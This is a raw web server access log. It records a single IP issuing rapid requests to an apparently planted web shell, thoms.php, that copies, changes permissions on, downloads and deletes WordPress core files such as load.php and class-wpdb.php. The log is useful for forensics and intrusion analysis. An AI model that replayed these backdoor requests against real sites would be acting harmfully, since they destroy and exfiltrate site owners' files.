45.135.193.11 - - [11/Sep/2026:23:33:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?del=load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22247 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?chmod=media-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22074 "https://163.245.207.76:443/thoms.php?chmod=media-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?chmod=registration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?chmod=block-patterns&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=registration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=block-patterns&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?del=rest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?del=rest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?del=block-bindings&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21879 "https://163.245.207.76:443/thoms.php?del=block-bindings&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22254 "https://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22272 "https://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?dl=rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?chmod=blocks&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?del=Text&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=Text&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22251 "https://163.245.207.76:443/thoms.php?chmod=blocks&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?del=cache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=Text&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=cache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?chmod=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?dl=compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22256 "https://163.245.207.76:443/thoms.php?dl=compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?dl=kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?chmod=canonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=canonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?dl=class-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=nav-menu.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftemplate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftemplate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftemplate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?del=block-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=block-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=canonical.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?dl=default-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?dl=class-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22227 "https://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?chmod=block-bindings&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcategory-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcategory-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=block-bindings&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcategory-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
